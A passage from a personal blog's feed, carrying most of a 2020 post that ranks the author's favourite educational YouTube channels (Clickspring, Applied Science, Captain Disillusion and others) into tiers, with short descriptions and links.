    &lt;source src=&quot;/assets/postassets/ropshipai/rhgai.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos.
&lt;/video&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>My tier list of interesting YouTube channels</title>
   <link href="https://thume.ca/2020/07/19/my-youtube-tier-list/"/>
   <updated>2020-07-19T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/07/19/my-youtube-tier-list</id>
   <content type="html">
&lt;p&gt;I watch a lot more YouTube than I do any other type of video content, and my favorite type of YouTube videos are interesting ones. I hesitate to call them “educational”, because they’re often not necessarily trying to teach, but to me the category distinction is they’re trying to be interesting in some way that pertains to the real world rather than just purely entertaining like video game content or comedy.&lt;/p&gt;

&lt;p&gt;I often find myself recommending these channels to friends, so I figured I might as well write up my endorsements, and I made it a &lt;a href=&quot;https://en.wikipedia.org/wiki/Tier_list&quot;&gt;tier list&lt;/a&gt; since I love the format. There’s a huge variety of really cool and impressive channels out there with kinds of content you can’t find anywhere else, and I’ve watched a lot of them for years and want to highlight them. The tier choices can be kinda arbitrary and I didn’t pay any attention to the ordering within tiers. Note that this is a tier list of &lt;em&gt;my favorite interesting&lt;/em&gt; YouTube channels:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;“my”&lt;/strong&gt;: These are ordered based on what I feel like endorsing/recommending, other people with different interests may place them higher or lower, and some really well-made popular channels are lower down just because they don’t capture me as much.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;“favorite”&lt;/strong&gt;: Even once we get down to “D tier” they’re still great stuff I watch regularly and above everything I’ve encountered and wasn’t into&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;“interesting”&lt;/strong&gt;: There’s other YouTube channels I watch and enjoy, like some video game channels, which are more pure entertainment and aren’t included here.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My blog posts tend to be about programming but I barely watch any programming channels. I mostly watch all sorts of random interesting channels on everything from machining to videography. Most of these channels are pretty accessible to anyone interested even if they aren’t versed in the subject, while still often targeting something obscure or impressive rather than always basic stuff, which is something that I think YouTube channels tend to do better than blogs. But on the flipside this makes most programming channels less interesting to me, since I am versed in the subject.&lt;/p&gt;

&lt;h1 id=&quot;s-tier-masterpieces&quot;&gt;S Tier: Masterpieces&lt;/h1&gt;

&lt;p&gt;The channels in this tier are some of my favorite things on the internet. They all only release videos every few weeks or months but that’s because they’re all a single person putting monumental effort into each one. When a video comes out on one of these channels its the highlight of my day. For a video to be this tier it needs to be fascinating, well-produced, demonstrate incredible skill I can be in awe of, and be something I’d pay at least $5/video (and often more) if they started paywalling it now. I subscribe to all of these channels on Patreon, except for Kiwami Japan because they don’t have one.&lt;/p&gt;

&lt;p&gt;Despite having hundreds of thousands to millions of viewers, none of these channels would ever have been green-lit as a TV show as-is, because they’re too weird or niche or technical. They also can only really work as well as they do in the video format, and got their start on YouTube. I’m happy that the modern internet allows channels like these to not only exist but often make a living.&lt;/p&gt;

&lt;h2 id=&quot;clickspring&quot;&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCworsKCR-Sx6R6-BnIjS2MA&quot;&gt;Clickspring&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8OViP9AR2HE&quot;&gt;&lt;img src=&quot;/assets/postassets/youtube/clickspring.jpg&quot; alt=&quot;Clickspring thumbnail&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clickspring is a channel about clockmaking, and watching it is wireheading on pure craftsmanship. I’ve never done any machining and don’t plan on ever making a clock, but his videos along with everything he makes in them are gorgeous examples of making everything with care and a commitment to excellence. This shows through in everything he does, from &lt;a href=&quot;https://www.youtube.com/watch?v=5sAw4Q1PM8Y&quot;&gt;making custom screws with stunning blue oxide finish and hand-rounded interior ends that aren’t even visible when assembled&lt;/a&gt; to &lt;a href=&quot;https://www.youtube.com/watch?v=Jk_rCm1rAeg&quot;&gt;doing original research and building some authentic ancient tools&lt;/a&gt; for his &lt;a href=&quot;https://www.youtube.com/watch?v=ML4tw_UzqZE&quot;&gt;reconstruction of the Antikythera mechanism&lt;/a&gt;. He puts the same care into his videos as the work itself: the camera shots and lighting are beautiful, the machining operations are seamlessly sped up at the right times to fit in the video but show the key moments, and he often includes nice composited overlays of the CAD model on top of the raw stock so you can understand what he’s doing, and the narration, music and sounds of the machining are excellently done to give the videos a relaxing feel. Every Clickspring video is just a delightful experience to watch.&lt;/p&gt;

&lt;p&gt;He also does videos without narration that just beatifully show all the machining and other work that goes into making something, &lt;a href=&quot;https://www.youtube.com/watch?v=3PwAQZNLy0I&quot;&gt;this video being the most impressive example&lt;/a&gt;. He has a second channel called &lt;a href=&quot;https://www.youtube.com/channel/UC9UjDtkpr2I-5G51vMJZvnA&quot;&gt;Clickspring Clips&lt;/a&gt; where he posts 2-4 minute non-narrated videos showing the making of one interesting part of his larger projects. &lt;a href=&quot;https://www.patreon.com/clickspring/posts&quot;&gt;His Patreon&lt;/a&gt; also has many exclusive videos once you watch all the public ones.&lt;/p&gt;

&lt;h2 id=&quot;applied-science&quot;&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCivA7_KLKWo43tFcCkFvydw&quot;&gt;Applied Science&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=JV4Fk3VNZqs&quot;&gt;&lt;img src=&quot;/assets/postassets/youtube/appliedscience.jpg&quot; alt=&quot;Magnets and flame video&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ben Krasnow’s channel Applied Science has been the flagship channel of engineering and science YouTube for many years. In every video he explains some new and interesting piece of science and engineering he’s replicated in his shop. He’s made &lt;a href=&quot;https://www.youtube.com/watch?v=X24np30GS2o&quot;&gt;aerogel&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=Lg__B6Ca3jc&quot;&gt;a water jet cutter&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=9OEz_e9C4KM&quot;&gt;a plasma sputtering chamber&lt;/a&gt;, an &lt;a href=&quot;https://www.youtube.com/watch?v=rpHYBz7ToII&amp;amp;t=5s&quot;&gt;EDM drill&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=K_N_h_mKf-4&quot;&gt;air bearings&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=Z2o_Sp2-aBo&quot;&gt;an electroluminescent display&lt;/a&gt;, an &lt;a href=&quot;https://www.youtube.com/watch?v=_zoeeR3geTA&quot;&gt;LCD&lt;/a&gt;, and the source of his earliest publicity: &lt;a href=&quot;https://www.youtube.com/watch?v=VdjYVF4a6iU&quot;&gt;a scanning electron microscope&lt;/a&gt;. He’s a truly prolific and incredible engineer who works with all kinds of electronics, machining, chemistry, physics and software. Every video leaves me in awe of him. Often he’ll be the first non-professional to try recreating something based on a procedure from papers and have to do dozens of failed experiments before &lt;a href=&quot;https://www.youtube.com/watch?v=Xr1AiExSAnU&quot;&gt;making a video&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=mUcUy7SqdS0&quot;&gt;documenting the process and all the extra considerations&lt;/a&gt;. His videos and skill are incredible and I’ve learned a lot about the process of scientific lab work from watching them.&lt;/p&gt;

&lt;h2 id=&quot;captain-disillusion&quot;&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCEOXxzW2vU0P-0THehuIIeg&quot;&gt;Captain Disillusion&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=LuM1IXl66B8&quot;&gt;&lt;img src=&quot;/assets/postassets/youtube/captaind.jpg&quot; alt=&quot;Gyro Drop&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Captain Disillusion has been on YouTube for 12 years now, originally in obscurity but gradually growing to millions of viewers. He goes over trick and hoax viral videos and explains the visual effects used to make them. The thing that’s incredible is the production value: Costumes, makeup, well-written scripts, and a ridiculous density of impressive visual effects. Captain Disillusion is what happens when an incredibly talented and driven visual effects artist puts an entire month of full time work into every single 5 minute video. He’s done streams and time-lapses before of him spending dozens of hours on a 3 second visual effect for a throwaway gag.&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://www.youtube.com/watch?v=eKFrZNXB29M&quot;&gt;typical video&lt;/a&gt; consists of a well-written and edited intro of him introducing a faked video, doing a detailed breakdown of all the components of the effect but quickly thanks to amazing visual aid footage, then him just one-upping the original video by doing the effect so much better than anyone else has ever done it, without the tells he went over. Here’s &lt;a href=&quot;https://www.youtube.com/watch?v=9vncG0IP9qU&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=rsXQInxxzBU&quot;&gt;other&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=Hy6vddbQa8Q&quot;&gt;good&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=LuM1IXl66B8&quot;&gt;ones&lt;/a&gt; but really every single one is excellent.&lt;/p&gt;

&lt;h2 id=&quot;kiwami-japan&quot;&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCg3qsVzHeUt5_cPpcRtoaJQ&quot;&gt;Kiwami Japan&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=AMYKQc-MVIM&quot;&gt;&lt;img src=&quot;/assets/postassets/youtube/kiwami.jpg&quot; alt=&quot;Sharpest Bread Kitchen Knife&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a weird and wonderful channel that to me really exemplifies what’s great about YouTube. Most videos are of the form “sharpest X kitchen knife in the world” with a thumbnail of a hand holding a weird knife in the same pose. Some examples of X are &lt;a href=&quot;https://www.youtube.com/watch?v=WZJ7nSdIbwk&quot;&gt;“Fungi”&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=RUlHhrL_Zj8&quot;&gt;“Paper”&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=t557dPspLxo&quot;&gt;“milk”&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=MeNR0guNn70&quot;&gt;“Pasta”&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=539OnO-YImk&quot;&gt;“Underwear”&lt;/a&gt;, and &lt;a href=&quot;https://www.youtube.com/watch?v=zUCEMjhsvaU&quot;&gt;“smoke”&lt;/a&gt;. I originally ignored suggested videos from this channel because I assumed they were some weird click-bait that didn’t really make a knife from those materials, and that was tragic because he really does and it’s amazing.&lt;/p&gt;

&lt;p&gt;Every video has no talking or words except for occasional subtitles, and follows the process starting from the raw material, demonstrating all the processing steps required to make a hard substance out of it, casting a knife blank, sharpening it, and testing it. At some point early in the channel’s history someone must have commented that the videos were like ASMR videos because after that he got a high quality microphone and puts a lot of emphasis on the sounds.&lt;/p&gt;

&lt;p&gt;The coolest part is he’s clearly really good at materials science and every video has amazing steps all done in his apartment. Lets take the &lt;a href=&quot;https://www.youtube.com/watch?v=pFG-nXUw6Ts&quot;&gt;“sharpest Seawater kitchen knife in the world”&lt;/a&gt; video as an example: It starts with a shot of him getting huge jugs of seawater from the ocean and collecting shells on the beach. At home he boils the seawater into salt and a solution he labels “magnesium chloride”. Then he puts a seashell on top of a charcoal briquette and puts it in an insulating firebrick box in his home microwave-oven-thing and cuts to it coming out totally calcified (apparently you can do that without a furnace??). He grinds it up with the subtitle “quicklime”, puts it in water and uses a thermal camera to show the exothermic reaction to get slaked lime. Cut to him combining a concentrated sea brine with the lime water to get “magnesium hydroxide + salt”. He adds water to dissolve the salt and filters out the magnesium hydroxide, combines it with the magnesium chloride from earlier, dries it, uses his handy durometer to show it fails a hardness test. He pops the magnesium hydroxide in his charcoal microwave furnace to get “magnesium oxide” and shows that this time when combined and dried it yields a very hard rock-like substance. Cut to him pouring a bunch of it in a rectangular plastic box, drying it and sawing out a knife shape. Then his famous sharpening sequence with increasingly fine knife stones, followed by the ever-present cucumber chopping test (complete with weird cucumber reveal out of godzilla-themed rubber gloves). He finishes by showing that the “magnesium cement” (&lt;a href=&quot;https://en.wikipedia.org/wiki/Sorel_cement&quot;&gt;Wiki link&lt;/a&gt;) doesn’t immediately dissolve in watera and that it can also be combined with dirt to make bricks.&lt;/p&gt;

&lt;p&gt;I can’t see anything remotely like this every being green-lit as a TV series, but every video is brilliant and relaxing, they all get millions of views with zero advertising spend, because everyone likes them and recommends them to friends and algorithmic recommendations respond to that in a way that human TV producers wouldn’t have the guts to. People complain about the “YouTube algorithm”, but at this kind of thing it truly shines.&lt;/p&gt;

&lt;h2 id=&quot;stuff-made-here&quot;&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCj1VqrHhDte54oLgPG4xpuQ&quot;&gt;Stuff Made Here&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7zBrbdU_y0s&quot;&gt;&lt;img src=&quot;/assets/postassets/youtube/stuffmadehere.jpg&quot; alt=&quot;Haircut robot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stuff Made Here is the newest channel to enter S tier. When YouTube first recommended one of his videos to me 4 months ago the channel had just started with a few videos and I thought “huh how is this brand new channel getting hundreds of thousands of views”, then I watched the video and thought “okay wow, apparently if you make really excellent stuff from the start it can become popular on YouTube super fast”. He just makes really interesting and impressive videos where he uses his skill in many different disciplines of engineering to make cool stuff and then gives interesting descriptions of all the considerations, testing, engineering, fabrication and failures that went into making it.&lt;/p&gt;

&lt;p&gt;For &lt;a href=&quot;https://www.youtube.com/watch?v=FycDx69px8U&amp;amp;t=1s&quot;&gt;his most popular video&lt;/a&gt; he makes a basketball backboard that always directs the ball into the hoop. He designs and builds a custom mechanism to move the backboard to any distance and angle using rods that minimize the weight on the board so it can move quickly, describing the kinematic principles and how he constructed it using CNC plasma cut and spot welded sheet metal with 3D printed joints. Then he describes the clever custom algorithm for filtering out the basketball from other moving objects in the depth camera by fitting a ballistic curve to all possible object trajectories, as well as the software for extrapolating and calculating the required backboard position. The way he did everything is quite impressive and, like all his projects, he did it in only a few weeks while also having a day job.&lt;/p&gt;

&lt;p&gt;What sets him apart from other YouTube makers is not only the skill in so many different areas that his projects display, but also the detailed explanations of the entire engineering process including the considerations, math, algorithms and failures rather than just the fabrication. If this sounds good to you, you should watch every single one of his videos including the ones that might not look that interesting. There’s not that many yet, but there might be soon since he somehow has also been managing to post more frequently than anyone else in my S tier (have I mentioned he also has a day job!?).&lt;/p&gt;

&lt;h1 id=&quot;a-tier-highly-recommended&quot;&gt;A Tier: Highly recommended&lt;/h1&gt;

&lt;p&gt;These channels are still quite excellent, but fall short on one or more aspects that would make me feel like putting them in S tier. I still highly recommend you check them out if they sound interesting though, they’re really great and I’m still very excited when I see one of them post a new video!&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCVSHXNNBitaPd5lYz48--yg&quot;&gt;Tech Ingredients&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Long and detailed technical videos of interesting projects demonstrating cool science and engineering concepts. They build really high quality demonstration pieces for each video and lots of the concepts they look into are little known ones like &lt;a href=&quot;https://www.youtube.com/watch?v=LS3GQk9ETRU&quot;&gt;magnetohydrodynamics&lt;/a&gt;, how &lt;a href=&quot;https://www.youtube.com/watch?v=jxOzpPJbnTI&quot;&gt;helium is an incredibly good sound suppressor&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=zcpDGKH9_SE&quot;&gt;plasma physics&lt;/a&gt;. The main presenter is super knowledgeable and every video has some really interesting things. It’s a bit slow paced but I fix that by always watching on 2x speed. They also just posted a &lt;a href=&quot;https://www.youtube.com/watch?v=bRr8lrUc-GI&quot;&gt;Best Of clips compilation video&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCMOqf8ab-42UUQIdVoKwjlQ&quot;&gt;Practical Engineering&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Explains interesting things from civil engineering often with cool models and demonstrations. I found &lt;a href=&quot;https://www.youtube.com/watch?v=zFdyqTGx32A&quot;&gt;this one on hydraulic ram pumps&lt;/a&gt; really cool.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCYA1VjSKXgNVh03wjw_HSRA&quot;&gt;Dan Gelbart&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Dan is an incredible engineer who made a fortune selling companies and now has an amazing machine shop, with lots of tools he’s built or modified himself. He doesn’t post videos very often but the main draw of his channel is the 7 year old 19-part series on tools and techniques for building prototypes. It’s a masterpiece of incredible knowledge, impressive designs and great tips. I recently rewatched the whole series.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCFtc3XdXgLFwhlDajMGK69w&quot;&gt;NightHawkInLight&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Videos of small interesting projects &lt;a href=&quot;https://www.youtube.com/watch?v=tcV1EYSUQME&quot;&gt;beautifully&lt;/a&gt; filmed and explained. I particularly liked this one about &lt;a href=&quot;https://www.youtube.com/watch?v=ThBkzEfjVl0&quot;&gt;making a carbon filament light bulb&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCV5vCi3jPJdURZwAOO_FNfQ&quot;&gt;The Thought Emporium&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Lots of different types of DIY science projects including DIY genetic engineering. In his craziest video he &lt;a href=&quot;https://www.youtube.com/watch?v=J3FcbFqSoQY&quot;&gt;engineers a benign virus to put lactase genes&lt;/a&gt; in his intestines to cure his lactose intolerance for months (most of the video is explaining why what he did was reasonably safe). More recently he’s been uploading long live streams but look back a bit for the shorter science project videos.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA&quot;&gt;Primitive Technology&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Guy goes out into the woods in Australia and makes pottery, metal, shelter, tools and materials starting with no tools at all. This video about &lt;a href=&quot;https://www.youtube.com/watch?v=RnvtXikwrIU&quot;&gt;making a kiln to smelt iron&lt;/a&gt; is really good.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCFhXFikryT4aFcLkLw2LBLA&quot;&gt;NileRed&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Beautiful and interesting videos about chemistry accessible to someone who knows very little about chemistry. &lt;a href=&quot;https://www.youtube.com/watch?v=RS7gyZJg5nc&quot;&gt;This recent video about making superconductors&lt;/a&gt; is particularly good.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC5NO8MgTQKHAWXp6z8Xl7yQ&quot;&gt;This Old Tony&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really well-produced entertaining and funny machine shop and engine videos that usually use some small machining project to explain a concept or technique.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=975r9a7FMqc&quot;&gt;Steve Mould&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Interesting science concept explanation videos with demonstrations. I was waffling between A and B tier but &lt;a href=&quot;https://www.youtube.com/watch?v=975r9a7FMqc&quot;&gt;this phenomenally cool recent video on optical rotation&lt;/a&gt; blew me away and secured his spot in A tier.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h1 id=&quot;b-tier-very-good&quot;&gt;B Tier: Very Good&lt;/h1&gt;

&lt;p&gt;At this point we’re still in the realm of high quality channels where I’ll immediately watch any new video they put out. Some of these channels have occasional top quality videos that would put them in A tier if they posted more regularly or had more consistent quality.&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCjgpFI5dU-D1-kh9H1muoxQ&quot;&gt;The Hacksmith&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Skilled engineers with a substantial budget and machine shop try to make real life versions of gadgets from fiction. Their main audience is kids and non-technical people and it shows, but many of their videos have pretty cool engineering, and their build montages are neat.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCy0tKL1T7wFoYcxCe0xjN6Q&quot;&gt;Technology Connections&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Guy explains interesting bits of technological history and science behind everyday gadgets. Like &lt;a href=&quot;https://www.youtube.com/watch?v=RSTNhvDGbYI&quot;&gt;this video on how rice cookers use some neat physics tricks&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCHsRtomD4twRf5WVHHk-cMw&quot;&gt;Tier Zoo&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;A biologist explains interesting animal facts as funny parodies of video game commentary and tier lists (I am partial to the tier list format as evidenced by this very tier list). &lt;a href=&quot;https://www.youtube.com/watch?v=9a-OAQE_hMQ&quot;&gt;This one on turtles&lt;/a&gt; is pretty good.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC7E8-0Ou69hwScPW1_fQApA&quot;&gt;Sam Zeloof&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;One of the only people to successfully &lt;a href=&quot;https://youtu.be/XrEC2LGGXn0?t=25&quot;&gt;produce a silicon integrated circuit at home&lt;/a&gt;, and when he was in high school. This year he started putting out high-effort videos on &lt;a href=&quot;https://www.youtube.com/watch?v=Nxz_ENnmgtI&quot;&gt;cool equipment&lt;/a&gt; used in the process.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC67gfx2Fg7K2NSHqoENVgwA&quot;&gt;Tom Stanton&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Implements really creative and cool engineering ideas mostly using a lot of 3D printing. Some of his coolest videos are building drones using weird things like &lt;a href=&quot;https://www.youtube.com/watch?v=XpA6qpNlNOE&quot;&gt;gas thrusters&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=4kfBEaTncjI&quot;&gt;reaction wheels&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=Irp_vnmUWZ4&quot;&gt;the Coanda effect&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=d80oXSCcHTk&quot;&gt;a single rotor with no swashplate&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC96JVq-z0-0iHAkIkKp1_6w&quot;&gt;Demoscene High-Quality Videos&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;64k intros, where people write programs that produce beautiful visuals and audio using an executable less than 64 kilobytes, are perhaps my favorite art form accross all art forms. They often use very non-standard rendering techniques that lead to unique visuals, have good electronic background tracks, and the whole time I marvel at the technical wizardry of the tiny size. Not all the best videos are on this channel and not all the ones on this channel are good but it has many good ones. My favorite intro group is Logicoma, even before I found out they use Rust. My favorites of their stuff: &lt;a href=&quot;https://www.youtube.com/watch?v=GjuridCR2Fo&quot;&gt;Engage&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=QhqT0DhV9yE&quot;&gt;Dope On Wax&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=gVHktHeYsfs&quot;&gt;Trash Panda&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=rWwNgVwQG1A&quot;&gt;Elysian&lt;/a&gt;.
Favorites by other groups include
&lt;a href=&quot;https://www.youtube.com/watch?v=XF4SEVbxUdE&quot;&gt;on&lt;/a&gt;,
&lt;a href=&quot;https://www.youtube.com/watch?v=ncdA3t_vzF8&amp;amp;t=100s&quot;&gt;Zetsubo (4k!)&lt;/a&gt;,
&lt;a href=&quot;https://www.youtube.com/watch?v=UnjIMd3kVf4&quot;&gt;delight&lt;/a&gt;,
&lt;a href=&quot;https://www.youtube.com/watch?v=mjzeP7hYyNo&quot;&gt;Offscreen Colonies&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=ie4u2i_5OdE&quot;&gt;the timeless&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCG7yIWtVwcENg_ZS-nahg5g&quot;&gt;CNLohr&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really interesting and cool electronics projects. Examples include &lt;a href=&quot;https://www.youtube.com/watch?v=a2DjjG9wVY0&quot;&gt;reverse engineering the HTC Vive and making a custom Linux C SDK for it&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=R1zx0xV0pWw&quot;&gt;running a custom Minecraft server on a microcontroller&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=MOP8I-7rA_8&quot;&gt;pretty LEDs&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCdmAhiG8HQDlz8uyekw4ENw&quot;&gt;Inigo Quilez&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Inigo is famous for his &lt;a href=&quot;https://www.iquilezles.org/&quot;&gt;excellent website&lt;/a&gt; with lots of computer graphics tips especially around &lt;a href=&quot;https://www.iquilezles.org/www/articles/raymarchingdf/raymarchingdf.htm&quot;&gt;signed distance fields&lt;/a&gt;. More recently he’s been uploading &lt;a href=&quot;https://www.youtube.com/watch?v=PMltMdi1Wzg&quot;&gt;high effort explanations&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=sl9x19EnKng&quot;&gt;live coding&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=rQ2bnU4dkso&quot;&gt;pretty fractals&lt;/a&gt; to his YouTube channel.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC3azLjQuz9s5qk76KEXaTvA&quot;&gt;Tom7/suckerpinch&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Tom7 is known for his incredibly good high-effort &lt;a href=&quot;http://radar.spacebar.org/f/a/weblog/category/1/sigbovik&quot;&gt;SIGBOVIK technical joke conference papers&lt;/a&gt;. What I only learned later is often he makes &lt;a href=&quot;https://www.youtube.com/watch?v=ar9WRwCiSr0&quot;&gt;great funny YouTube videos&lt;/a&gt; explaining his crazy hacks like.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCR1IuLEqb6UEA_zQ81kwXfg&quot;&gt;Real Engineering&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Well-produced and interesting explanation videos on various engineering topics. From &lt;a href=&quot;https://www.youtube.com/watch?v=wk6Qr6OO5Xo&quot;&gt;the engineering of fighter planes&lt;/a&gt; to &lt;a href=&quot;https://www.youtube.com/watch?v=i6DRRHXt-PA&quot;&gt;flood control systems in The Netherlands&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCBa659QWEk1AI4Tg--mrJ2A&quot;&gt;Tom Scott&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Popular channel mostly focusing on talking about random interesting places with neat stories around the world.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCekQr9znsk2vWxBo3YiLq2w&quot;&gt;You Suck At Cooking&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Funny comedy cooking videos that are actual recipes. Videos vary on how much they focus on being funny vs teaching good recipes. &lt;a href=&quot;https://www.youtube.com/watch?v=GYl7h8iDjsY&quot;&gt;This one&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=j3DPH3KOiXk&quot;&gt;this one&lt;/a&gt; are pretty good.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h1 id=&quot;c-tier-someone-being-really-good-at-something&quot;&gt;C Tier: Someone being really good at something&lt;/h1&gt;

&lt;p&gt;I’ve dedicated C tier to channels where I watch them purely to marvel at someone being really good at something. I like watching people do impressive things or perform at the highest level, it’s inspiring and also just cool to learn about how they do it. They don’t necessarily have to be impressive in an absolute sense, although many are, just impressive relative to my skill level (often zero in their area). The reason these aren’t in higher tiers is either that I’m not as interested in the subject but they captured me anyways, or their videos are not as high in density and quality.&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC5miyvhPsWWyfTulnJ43koQ&quot;&gt;Pannen&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Details various glitches used for an automated Super Mario 64 speedrun where he tries to minimize use of the A (jump) button. Really interesting just seeing how insane the tricks can be. Best and most famous video is &lt;a href=&quot;https://www.youtube.com/watch?v=kpk2tdsPh0A&quot;&gt;this commentated one&lt;/a&gt; from his other channel about paralell universes.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCwjZLzqHYImv4oCJQcZ8Hig&quot;&gt;Daniel Schiffer&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Videographer who goes into how he shoots and edits commercials, and he’s really good at it so his videos are great.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/user/J3Cub2009&quot;&gt;Tucker Gott&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Paramotor pilot. I have no plans on ever paramotoring but it’s cool to watch and his “Reacting To Crash Videos” series is really interesting, seeing him break down what kind of safety considerations come into play and how things can go wrong.&lt;/dd&gt;
